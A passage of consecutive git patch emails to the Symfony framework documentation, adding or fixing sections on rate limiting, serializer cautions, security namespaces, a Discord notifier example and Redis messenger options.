+change your constructor like this:
 
 .. code-block:: diff
 

From feef663fa650ebc2acaa4b40b2c5660cc3b2d874 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Oct 2020 10:40:48 +0200
Subject: [PATCH 1389/7107] Wrap long lines

---
 deployment.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/deployment.rst b/deployment.rst
index 18fd4ec6fa8..36854742dcc 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -195,7 +195,8 @@ setup:
 * Add/edit CRON jobs
 * :ref:`Building and minifying your assets <how-do-i-deploy-my-encore-assets>` with Webpack Encore
 * Pushing assets to a CDN
-* On a shared hosting platform using the Apache web server, you may need to install the :ref:`symfony/apache-pack package <web-server-apache-mod-php>`
+* On a shared hosting platform using the Apache web server, you may need to
+  install the :ref:`symfony/apache-pack package <web-server-apache-mod-php>`
 * ...
 
 Application Lifecycle: Continuous Integration, QA, etc.

From 369ea13ea891df848615e629bd35e3f539b3eb94 Mon Sep 17 00:00:00 2001
From: Gauthier Gilles <gilles.gauthier31@gmail.com>
Date: Tue, 17 Dec 2019 09:27:31 +0100
Subject: [PATCH 1390/7107] add caution for datetime object

---
 serializer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index b1e64881831..31c47e607dc 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -115,6 +115,12 @@ Custom normalizers and/or encoders can also be loaded by tagging them as
 :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`. It's also
 possible to set the priority of the tag in order to decide the matching order.
 
+.. caution::
+
+    Always make sure to load the ``DateTimeNormalizer`` when serializing the
+    ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
+    usage and exposing internal details.
+
 Here is an example on how to load the
 :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`, a
 faster alternative to the `ObjectNormalizer` when data objects always use

From 269379fa5c6af4982f2f704c97d91f8eb8d2b8be Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Sun, 19 Apr 2020 14:11:38 +0200
Subject: [PATCH 1391/7107] replace ExceptionListener by EventListener

Deprecated  ExceptionListener is replaced by EventListener in Symfony 5.0
---
 reference/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/events.rst b/reference/events.rst
index b7eec4d8dbd..900d40eb12c 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -251,7 +251,7 @@ sent as response::
 
 .. note::
 
-    The TwigBundle registers an :class:`Symfony\\Component\\HttpKernel\\EventListener\\ExceptionListener`
+    The TwigBundle registers an :class:`Symfony\\Component\\HttpKernel\\EventListener\\ErrorListener`
     that forwards the ``Request`` to a given controller defined by the
     ``exception_listener.controller`` parameter.
 

From 3bc914cc2043612bfc97e1e9e7c78c95ef695e52 Mon Sep 17 00:00:00 2001
From: Rachid Hammaoui <37940572+makmaoui@users.noreply.github.com>
Date: Fri, 14 Aug 2020 18:41:43 +0200
Subject: [PATCH 1392/7107] Fix wrong properties class

Fix classname for query and cookies properties
---
 components/http_foundation.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index dad9990dd64..3a90611edbe 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -83,17 +83,19 @@ can be accessed via several public properties:
 Each property is a :class:`Symfony\\Component\\HttpFoundation\\ParameterBag`
 instance (or a sub-class of), which is a data holder class:
 
-* ``request``: :class:`Symfony\\Component\\HttpFoundation\\ParameterBag`;
+* ``request``: :class:`Symfony\\Component\\HttpFoundation\\ParameterBag` or
+  :class:`Symfony\\Component\\HttpFoundation\\InputBag` if the data is
+  coming from ``$_POST`` parameters;
 
-* ``query``:   :class:`Symfony\\Component\\HttpFoundation\\ParameterBag`;
+* ``query``: :class:`Symfony\\Component\\HttpFoundation\\InputBag`;
 
-* ``cookies``: :class:`Symfony\\Component\\HttpFoundation\\ParameterBag`;
+* ``cookies``: :class:`Symfony\\Component\\HttpFoundation\\InputBag`;
 
 * ``attributes``: :class:`Symfony\\Component\\HttpFoundation\\ParameterBag`;
 
-* ``files``:   :class:`Symfony\\Component\\HttpFoundation\\FileBag`;
+* ``files``: :class:`Symfony\\Component\\HttpFoundation\\FileBag`;
 
-* ``server``:  :class:`Symfony\\Component\\HttpFoundation\\ServerBag`;
+* ``server``: :class:`Symfony\\Component\\HttpFoundation\\ServerBag`;
 
 * ``headers``: :class:`Symfony\\Component\\HttpFoundation\\HeaderBag`.
 

From 9d189ef6b5e1c381923ac894ec3237ed45e620de Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Oct 2020 11:23:38 +0200
Subject: [PATCH 1393/7107] [RateLimiter] Document the RateLimit object

---
 rate_limiter.rst | 44 ++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 44 insertions(+)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 6fa7192945f..527357cc011 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -212,6 +212,50 @@ processes by reserving unused tokens.
             $limit->wait();
         } while (!$limit->isAccepted());
 
+Exposing the Rate Limiter Status
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When using a rate limiter in APIs, it's common to include some standard HTTP
+headers in the response to expose the limit status (e.g. remaining tokens, when
+new tokens will be available, etc.)
+
+Use the :class:`Symfony\\Component\\RateLimiter\\RateLimit` object returned by
+the ``consume()`` method (also available via the ``getRateLimit()`` method of
+the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
+``reserve()`` method) to get the value of those HTTP headers::
+
+    // src/Controller/ApiController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\RateLimiter\RateLimiter;
+
+    class ApiController extends AbstractController
+    {
+        public function index(RateLimiter $anonymousApiLimiter)
+        {
+            $limiter = $anonymousApiLimiter->create($request->getClientIp());
+            $limit = $limiter->consume();
+            $headers = [
+                'X-RateLimit-Remaining' => $limit->getRemainingTokens(),
+                'X-RateLimit-Retry-After' => $limit->getRetryAfter()->getTimestamp(),
+                'X-RateLimit-Limit' => $limit->getLimit(),
+            ];
+
+            if (false === $limit->isAccepted()) {
+                return new Response(null, Response::HTTP_TOO_MANY_REQUESTS, $headers);
+            }
+
+            // ...
+
+            $reponse = new Response('...');
+            $response->headers->add($headers);
+
+            return $response;
+        }
+    }
+
 Rate Limiter Storage and Locking
 --------------------------------
 

From 809b7a0e63d9dfb743c6aaea9f6bda485bb3de2a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Oct 2020 09:56:38 +0200
Subject: [PATCH 1394/7107] [Lock] Mention the priority policy of shared locks

---
 components/lock.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/lock.rst b/components/lock.rst
index 518a01c9375..3a92184c85e 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -237,6 +237,11 @@ to acquire the lock in a blocking mode::
     $lock = $factory->createLock('user'.$user->id);
     $lock->acquireRead(true);
 
+.. note::
+
+    The `priority policy`_ of Symfony's shared locks depends on the underlying
+    store (e.g. Redis store prioritizes readers vs writers).
+
 When a read-only lock is acquired with the method ``acquireRead()``, it's
 possible to **promote** the lock, and change it to write lock, by calling the
 ``acquire()`` method::
@@ -915,3 +920,4 @@ are still running.
 .. _`Replica Set Read and Write Semantics`: https://docs.mongodb.com/manual/applications/replication/
 .. _`ZooKeeper`: https://zookeeper.apache.org/
 .. _`readers–writer lock`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock
+.. _`priority policy`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock#Priority_policies

From 864cefbc7a34d3b313019f2c415e2a27d81ff4bd Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Tue, 9 Jun 2020 22:46:45 +0200
Subject: [PATCH 1395/7107] Update the Snippet with the UserUpgraderInterface

---
 security/user_provider.rst | 13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

diff --git a/security/user_provider.rst b/security/user_provider.rst
index 13e6a8dfb49..07227868afe 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -356,10 +356,11 @@ command will generate a nice skeleton to get you started::
 
     use Symfony\Component\Security\Core\Exception\UnsupportedUserException;
     use Symfony\Component\Security\Core\Exception\UsernameNotFoundException;
+    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
     use Symfony\Component\Security\Core\User\UserInterface;
     use Symfony\Component\Security\Core\User\UserProviderInterface;
 
-    class UserProvider implements UserProviderInterface
+    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
     {
         /**
          * Symfony calls this method if you use features like switch_user
@@ -412,6 +413,16 @@ command will generate a nice skeleton to get you started::
         {
             return User::class === $class || is_subclass_of($class, User::class);
         }
+        
+        /**
+         * Upgrades the encoded password of a user, typically for using a better hash algorithm.
+         */
+        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
+        {
+            // TODO: when encoded passwords are in use, this method should:
+            // 1. persist the new password in the user storage
+            // 2. update the $user object with $user->setPassword($newEncodedPassword);
+        }
     }
 
 Most of the work is already done! Read the comments in the code and update the

From 17af86e24d25421f43d61fc019b263739218a7ca Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Dalibor=20Karlovi=C4=87?= <dalibor.karlovic@flexolabs.io>
Date: Thu, 22 Oct 2020 15:45:29 +0200
Subject: [PATCH 1396/7107] Correct English word order

---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 921a45f7226..9dd6fe205b9 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -443,7 +443,7 @@ And here is the controller::
     To use the cookie authentication method, the Symfony app and the Hub
     must be served from the same domain (can be different sub-domains).
 
-Generating Programmatically The JWT Used to Publish
+Programmatically Generating The JWT Used to Publish
 ---------------------------------------------------
 
 Instead of directly storing a JWT in the configuration,

From 22345e0b151835cbd86c4de6bc8be7fccdd1fe22 Mon Sep 17 00:00:00 2001
From: gary houbre <ghoubre@sqli.com>
Date: Mon, 5 Oct 2020 21:24:25 +0200
Subject: [PATCH 1397/7107] Fix missing namespace and other wrong wording from
 Security and Serializer context

---
 security/access_denied_handler.rst          | 1 +
 security/csrf.rst                           | 3 +++
 security/custom_authentication_provider.rst | 8 ++++++++
 security/form_login.rst                     | 1 +
 security/form_login_setup.rst               | 1 +
 security/guard_authentication.rst           | 7 ++++++-
 security/impersonating_user.rst             | 4 ++++
 security/json_login_setup.rst               | 1 +
 security/named_encoders.rst                 | 4 ++--
 serializer/custom_encoders.rst              | 1 +
 serializer/custom_normalizer.rst            | 1 +
 11 files changed, 29 insertions(+), 3 deletions(-)

diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index e9e780e75ef..e9fd7cb15f5 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -13,6 +13,7 @@ This interface defines one method called ``handle()`` where you can implement wh
 logic that should run when access is denied for the current user (e.g. send a
 mail, log a message, or generally return a custom response)::
 
+    // src/Security/AccessDeniedHandler.php
     namespace App\Security;
 
     use Symfony\Component\HttpFoundation\Request;
diff --git a/security/csrf.rst b/security/csrf.rst
index d54bfc43770..9da64168379 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -83,6 +83,9 @@ protected against CSRF attacks.
 By default Symfony adds the CSRF token in a hidden field called ``_token``, but
 this can be customized on a form-by-form basis::
 
+    // src/Form/TaskType.php
+    namespace App\Form;
+    
     // ...
     use App\Entity\Task;
     use Symfony\Component\OptionsResolver\OptionsResolver;
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index d0db9c91168..920c8315f05 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -538,6 +538,11 @@ can have different timeout lengths.
 You will first need to edit ``WsseFactory`` and define the new option in
 the ``addConfiguration()`` method::
 
+    // src/DependencyInjection/Security/Factory/WsseFactory.php
+    namespace App\DependencyInjection\Security\Factory;
+
+    // ...
+
     class WsseFactory implements SecurityFactoryInterface
     {
         // ...
@@ -556,6 +561,9 @@ contain a ``lifetime`` key, set to 5 minutes (300 seconds) unless otherwise
 set in the configuration. Pass this argument to your authentication provider
 in order to put it to use::
 
+    // src/DependencyInjection/Security/Factory/WsseFactory.php
+    namespace App\DependencyInjection\Security\Factory;
+    
     use App\Security\Authentication\Provider\WsseProvider;
 
     class WsseFactory implements SecurityFactoryInterface
diff --git a/security/form_login.rst b/security/form_login.rst
index cd53d277c88..374e21a78b7 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -93,6 +93,7 @@ configuration (``login``):
     .. code-block:: php-annotations
 
         // src/Controller/SecurityController.php
+        namespace App\Controller;
 
         // ...
         use Symfony\Component\Routing\Annotation\Route;
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index abbbb6eb1f2..f1f646fad47 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -477,6 +477,7 @@ If you also want to apply this behavior to public pages, you can create an
 :doc:`event subscriber </event_dispatcher>` to set the target path manually
 whenever the user browses a page::
 
+    // src/EventSubscriber/RequestSubscriber.php
     namespace App\EventSubscriber;
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index edbd6f122ee..7a6a25b9618 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -28,6 +28,8 @@ your ``User`` class (the ``make:entity`` command is a good way to do this):
 .. code-block:: diff
 
     // src/Entity/User.php
+    namespace App\Entity;
+
     // ...
 
     class User implements UserInterface
@@ -411,6 +413,8 @@ You can throw this from ``getCredentials()``, ``getUser()`` or ``checkCredential
 to cause a failure::
 
     // src/Security/TokenAuthenticator.php
+    namespace App\Security;
+
     // ...
 
     use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
@@ -453,8 +457,9 @@ completes registration. To do that, use your authenticator and a service called
 ``GuardAuthenticatorHandler``::
 
     // src/Controller/RegistrationController.php
+    namespace App\Controller;
+    
     // ...
-
     use App\Security\LoginFormAuthenticator;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\Security\Guard\GuardAuthenticatorHandler;
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 308ed5b1e58..5f44a7fad23 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -113,6 +113,9 @@ stored in the token storage will be a ``SwitchUserToken`` instance. Use the
 following snippet to obtain the original token which gives you access to
 the impersonator user::
 
+    // src/Service/SomeService.php
+    namespace App\Service;
+
     use Symfony\Component\Security\Core\Authentication\Token\SwitchUserToken;
     use Symfony\Component\Security\Core\Security;
     // ...
@@ -256,6 +259,7 @@ be called):
 Then, create a voter class that responds to this role and includes whatever custom
 logic you want::
 
+    // src/Service/Voter/SwitchToCustomerVoter.php
     namespace App\Security\Voter;
 
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index e1ec17e8587..a4be5dac0e7 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -65,6 +65,7 @@ The next step is to configure a route in your app matching this path:
     .. code-block:: php-annotations
 
         // src/Controller/SecurityController.php
+        namespace App\Controller;
 
         // ...
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
diff --git a/security/named_encoders.rst b/security/named_encoders.rst
index aad4d740fb1..22bc333dec4 100644
--- a/security/named_encoders.rst
+++ b/security/named_encoders.rst
@@ -117,8 +117,8 @@ to use it, the class must implement
 The interface requires one method - ``getEncoderName()`` - which should return
 the name of the encoder to use::
 
-    // src/Acme/UserBundle/Entity/User.php
-    namespace Acme\UserBundle\Entity;
+    // src/Entity/User.php
+    namespace App\Entity;
 
     use Symfony\Component\Security\Core\Encoder\EncoderAwareInterface;
     use Symfony\Component\Security\Core\User\UserInterface;
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 5bb78def4e4..4c08b410dbd 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -19,6 +19,7 @@ Imagine you want to serialize and deserialize YAML. For that you'll have to
 create your own encoder that uses the
 :doc:`Yaml Component </components/yaml>`::
 
+    // src/Serializer/YamlEncoder.php
     namespace App\Serializer;
 
     use Symfony\Component\Serializer\Encoder\DecoderInterface;
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 9f2e50fdcf1..6ee7d870ed5 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -17,6 +17,7 @@ process. For that you'll have to create your own normalizer. But it's usually
 preferable to let Symfony normalize the object, then hook into the normalization
 to customize the normalized data. To do that, leverage the ``ObjectNormalizer``::
 
+    // src/Serializer/TopicNormalizer.php
     namespace App\Serializer;
 
     use App\Entity\Topic;

From 269f500c45bf4ae3654d5edb92825c9d4e0c66ae Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Oct 2020 17:41:24 +0200
Subject: [PATCH 1398/7107] Added missing namespace

---
 security/experimental_authenticators.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 83b3199d9ef..8a1b6081d84 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -472,6 +472,9 @@ the following badges are supported:
 For instance, if you want to add CSRF and password migration to your custom
 authenticator, you would initialize the passport like this::
 
+    // src/Service/LoginAuthenticator.php
+    namespace App\Service;
+
     // ...
     use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;

From e912f23b557bd56ed1c7c296f12b178f48e6dfb5 Mon Sep 17 00:00:00 2001
From: TavoNiievez <64917965+TavoNiievez@users.noreply.github.com>
Date: Thu, 22 Oct 2020 13:54:00 -0500
Subject: [PATCH 1399/7107] Typo in impersonator role

The correct role is 'IS_IMPERSONATOR'.
---
 components/security/authorization.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index c074cf14b75..b884ce97ac0 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -114,12 +114,12 @@ user fully authenticated, or only based on a "remember-me" cookie, or even
 authenticated anonymously?
 
 It also supports the attributes ``IS_ANONYMOUS``, ``IS_REMEMBERED``,
-``IS_IMPERSONATED`` to grant access based on a specific state of
+``IS_IMPERSONATOR`` to grant access based on a specific state of
 authentication.
 
 .. versionadded:: 5.1
 
-    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATED``
+    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
     attributes were introduced in Symfony 5.1.
 
 ::

From 745af3cc386fa7efd71a95f6d605138f692f8c21 Mon Sep 17 00:00:00 2001
From: Przemek Maszczynski <gh@entio.me>
Date: Thu, 22 Oct 2020 22:46:13 +0200
Subject: [PATCH 1400/7107] Removed duplicate method

---
 security/form_login_setup.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index f1f646fad47..768ce725a72 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -77,14 +77,6 @@ class that processes the login submit and 4) updates the main security config fi
             return $this->render('security/login.html.twig', ['last_username' => $lastUsername, 'error' => $error]);
         }
 
-        /**
-         * @Route("/logout", name="app_logout")
-         */
-        public function logout()
-        {
-            throw new \Exception('This method can be blank - it will be intercepted by the logout key on your firewall');
-        }
-
         /**
          * @Route("/logout", name="app_logout")
          */

From c630bcb1739638120d1fc7bf2c62c0f14bc7ee1e Mon Sep 17 00:00:00 2001
From: Mathieu Piot <math.piot@gmail.com>
Date: Fri, 17 Apr 2020 13:51:19 +0200
Subject: [PATCH 1401/7107] Add Discord notifier

---
 notifier.rst          |  3 ++-
 notifier/chatters.rst | 53 +++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 55 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 9d0b5148553..d79933b7188 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -139,6 +139,7 @@ integration with these chat services:
 ==========  ================================  ===========================================================================
 Service     Package                           DSN
 ==========  ================================  ===========================================================================
+Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?threadKey=THREAD_KEY``
 LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
@@ -156,7 +157,7 @@ Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:APIKEY@ENDPOINT?ch
 
 .. versionadded:: 5.2
 
-    The GoogleChat, LinkedIn and Zulip integrations were introduced in Symfony 5.2.
+    The GoogleChat, LinkedIn, Zulip and Discord integrations were introduced in Symfony 5.2.
 
 Chatters are configured using the ``chatter_transports`` setting:
 
diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index efbd040593e..b37d17c2040 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -99,3 +99,56 @@ some interactive options called `Block elements`_::
     $chatter->send($chatMessage);
 
 .. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
+
+Adding Interactions to a Discord Message
+--------------------------------------
+
+With a Discord message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` to add
+some interactive options called `Embed elements`_::
+
+    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordEmbed;
+    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordFieldEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordFooterEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordMediaEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\DiscordOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('');
+
+    // Create Discord Embed
+    $discordOptions = (new DiscordOptions())
+        ->username('connor bot')
+        ->addEmbed((new DiscordEmbed())
+            ->color(2021216)
+            ->title('New song added!')
+            ->thumbnail((new DiscordMediaEmbedObject())
+            ->url('https://i.scdn.co/image/ab67616d0000b2735eb27502aa5cb1b4c9db426b'))
+            ->addField((new DiscordFieldEmbedObject())
+                ->name('Track')
+                ->value('[Common Ground](https://open.spotify.com/track/36TYfGWUhIRlVjM8TxGUK6)')
+                ->inline(true)
+            )
+            ->addField((new DiscordFieldEmbedObject())
+                ->name('Artist')
+                ->value('Alasdair Fraser')
+                ->inline(true)
+            )
+            ->addField((new DiscordFieldEmbedObject())
+                ->name('Album')
+                ->value('Dawn Dance')
+                ->inline(true)
+            )
+            ->footer((new DiscordFooterEmbedObject())
+                ->text('Added ...')
+                ->iconUrl('https://upload.wikimedia.org/wikipedia/commons/thumb/1/19/Spotify_logo_without_text.svg/200px-Spotify_logo_without_text.svg.png')
+            )
+        )
+    ;
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($discordOptions);
+
+    $chatter->send($chatMessage);
+
+.. _`Embed elements`: https://discord.com/developers/docs/resources/webhook

From bf6cca937f6c2e96a0e9a2deeeae0fc768b8a764 Mon Sep 17 00:00:00 2001
From: Baptiste Leduc <baptiste.leduc@gmail.com>
Date: Fri, 23 Oct 2020 13:45:06 +0200
Subject: [PATCH 1402/7107] Non-standard adder/remover methods

---
 components/property_access.rst | 39 ++++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)

diff --git a/components/property_access.rst b/components/property_access.rst
index df0f3d99b51..741d3023ad5 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -394,6 +394,45 @@ and ``removeChild()`` methods to access to the ``children`` property.
 
 If available, *adder* and *remover* methods have priority over a *setter* method.
 
+Using non-standard adder/remover methods
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sometimes, adder and remover methods don't use the standard ``add`` or ``remove`` prefix, like in this example::
+
+    // ...
+    class PeopleList
+    {
+        // ...
+
+        public function joinPeople(string $people): void
+        {
+            $this->peoples[] = $people;
+        }
+
+        public function leavePeople(string $people): void
+        {
+            foreach ($this->peoples as $id => $item) {
+                if ($people === $item) {
+                    unset($this->peoples[$id]);
+                    break;
+                }
+            }
+        }
+    }
+
+    use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor;
+    use Symfony\Component\PropertyAccess\PropertyAccessor;
+
+    $list = new PeopleList();
+    $reflectionExtractor = new ReflectionExtractor(null, null, ['join', 'leave']);
+    $propertyAccessor = new PropertyAccessor(false, false, null, true, $reflectionExtractor, $reflectionExtractor);
+    $propertyAccessor->setValue($person, 'peoples', ['kevin', 'wouter']);
+
+    var_dump($person->getPeoples()); // ['kevin', 'wouter']
+
+Instead of calling ``add<SingularOfThePropertyName>()`` and ``remove<SingularOfThePropertyName>()``, the PropertyAccess
+component will call ``join<SingularOfThePropertyName>()`` and ``leave<SingularOfThePropertyName>()`` methods.
+
 Checking Property Paths
 -----------------------
 

From 3194c224966f6764057d166f7bf9997e689d77b5 Mon Sep 17 00:00:00 2001
From: Robin Chalas <robin.chalas@gmail.com>
Date: Fri, 23 Oct 2020 13:51:30 +0200
Subject: [PATCH 1403/7107] [Security] Remove extra argument from call to
 EntityManager#flush()

---
 security/password_migration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/password_migration.rst b/security/password_migration.rst
index 9553d46de5a..bb77a0504ab 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -190,7 +190,7 @@ storing the newly created password hash::
             $user->setPassword($newEncodedPassword);
 
             // execute the queries on the database
-            $this->getEntityManager()->flush($user);
+            $this->getEntityManager()->flush();
         }
     }
 

From 8fe20c33a49ba1bd21de5eb78477752e5c6fdd1b Mon Sep 17 00:00:00 2001
From: Toni Rudolf <toni.rudolf@gmail.com>
Date: Mon, 3 Feb 2020 17:24:10 +0100
Subject: [PATCH 1404/7107] Added redeliver_timeout and claim_interval options

---
 messenger.rst | 24 ++++++++++++++++++++----
 1 file changed, 20 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 54c7fb200a5..9917e5d7c28 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1038,9 +1038,9 @@ a running Redis server (^5.0).
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
-==================  =====================================  =========================
-     Option               Description                      Default
-==================  =====================================  =========================
+===================  =====================================  =================================
+     Option               Description                       Default
+===================  =====================================  =================================
 stream              The Redis stream name                  messages
 group               The Redis consumer group name          symfony
 consumer            Consumer name used in Redis            consumer
@@ -1056,7 +1056,23 @@ stream_max_entries  The maximum number of entries which    ``0`` (which means "n
                     it to a large enough number to
                     avoid losing pending messages
 tls                 Enable TLS support for the connection  false
-==================  =====================================  =========================
+redeliver_timeout    Timeout before retrying a pending      ``3600``
+                     message which is owned by an
+                     abandoned consumer (if a worker died
+                     for some reason, this will occur,
+                     eventually you should retry the
+                     message) - in seconds.
+claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
+                     messages should be checked for to
+                     claim - in milliseconds
+===================  =====================================  =================================
+
+.. caution::
+
+    There should never be more than one `messenger:consume` command running with the same
+    config (stream, group and consumer name) to avoid having a message handled more than once.
+    Using the ``HOSTNAME`` as the consumer might often be a good idea. In case you are using
+    Kubernetes to orchestrate your containers, consider using a ``StatefulSet``.
 
 .. tip::
 

From d6988a76ee403c23382fd420dd60dcc69fb083f3 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 23 Oct 2020 15:05:47 +0200
Subject: [PATCH 1405/7107] [#12976] Minor syntax fix

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 9917e5d7c28..78d09d50e9a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1069,7 +1069,7 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 
 .. caution::
 
-    There should never be more than one `messenger:consume` command running with the same
+    There should never be more than one ``messenger:consume`` command running with the same
     config (stream, group and consumer name) to avoid having a message handled more than once.
     Using the ``HOSTNAME`` as the consumer might often be a good idea. In case you are using
     Kubernetes to orchestrate your containers, consider using a ``StatefulSet``.

From 08496685d725a48630e0a019e11188cd1c7c1c91 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 23 Oct 2020 15:08:55 +0200
Subject: [PATCH 1406/7107] [#12976] Added the new options to the versionadded
 directive

---
 messenger.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 78d09d50e9a..3dce638cd70 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1083,7 +1083,8 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 
 .. versionadded:: 5.1
 
-    The ``delete_after_ack`` option was introduced in Symfony 5.1.
